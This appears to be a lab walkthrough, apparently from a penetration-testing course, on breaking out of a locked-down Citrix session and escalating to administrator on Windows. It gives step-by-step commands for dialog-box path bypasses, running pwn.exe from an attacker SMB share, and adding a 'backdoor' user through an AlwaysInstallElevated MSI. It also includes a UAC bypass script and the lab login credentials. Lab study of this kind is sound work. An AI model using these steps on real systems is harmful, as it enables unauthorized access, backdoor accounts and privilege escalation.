22.-Citrix-breakout
Ubuntu (SMB Server)
Windows (Citrix Breakout)
Privilege Escalation (PowerUp)
Privilege Escalation (Registry Query)
Run as New User
UAC Bypass
Verify Privileges
1. Initial Access & Environment Reconnaissance
Login to
http://humongousretail.com/remote/
with credentials:Username: pmorgan
Password: Summer1Summer!
Domain: htb.local
Download
launch.ica
and connect to the Citrix environment.Observe File Explorer restrictions.
2. Bypassing Path Restrictions (Dialog Box Exploitation)
Open a Dialog Box:
Run MS Paint.
File > Open.
Navigate using UNC Path:
In the "File name" field, enter
\\127.0.0.1\c$\users\pmorgan
.Set "File-Type" to "All Files".
Press Enter.
3. Accessing SMB Shares from Restricted Environments
Start SMB Server (Ubuntu):
root@ubuntu:/home/htb-student/Tools# smbserver.py -smb2support share $(pwd)
Access SMB Share (Citrix):
Open MS Paint Dialog Box.
Enter
\\10.13.38.95\share
(replace with your Ubuntu server's IP).Set "File-Type" to "All Files".
Press Enter.
Execute pwn.exe (Command Execution):
Right click pwn.exe, and open it.
Copy files from SMB to local directory:
Use the new cmd window that pwn.exe created.
4. Alternate Tools for Bypassing Restrictions
Alternate File Explorers:
Use
Q-Dir
orExplorer++
to bypass File Explorer restrictions.Copy files using Explorer++ from the network share.
Alternate Registry Editors:
Use
Simpleregedit
,Uberregedit
, orSmallRegistryEditor
to bypass registry editor restrictions.
Modify Shortcut Files:
Right-click shortcut > Properties.
Modify "Target" to desired executable path.
Execute the modified shortcut.
Script Execution:
Create
evil.bat
withcmd
inside.Execute
evil.bat
.
5. Privilege Escalation
Check AlwaysInstallElevated:
PowerShell:
Import-Module .\PowerUp.ps1
Cmd:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Cmd:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Create MSI for User Addition (PowerUp):
PowerShell:
Write-UserAddMSI
Execute MSI and Create User:
Run
UserAdd.msi
.Create user (e.g.,
backdoor:T3st@123
).
Run Commands as New User:
Cmd:
runas /user:backdoor cmd
6. UAC Bypass
Import UAC Bypass Script:
PowerShell:
Import-Module .\Bypass-UAC.ps1
Execute UAC Bypass:
PowerShell:
Bypass-UAC -Method UacMethodSysprep
Verify Elevated Privileges:
PowerShell:
whoami /all
orwhoami /priv
Access C:\Users\Administrator
Key Commands and Actions:
smbserver.py -smb2support share $(pwd)
(Ubuntu)reg query ...
(Cmd)Import-Module ...
(PowerShell)Write-UserAddMSI
(PowerShell)runas /user:... cmd
(Cmd)Bypass-UAC -Method ...
(PowerShell)whoami /all
(PowerShell/Cmd)whoami /priv
(PowerShell/Cmd)
Last updated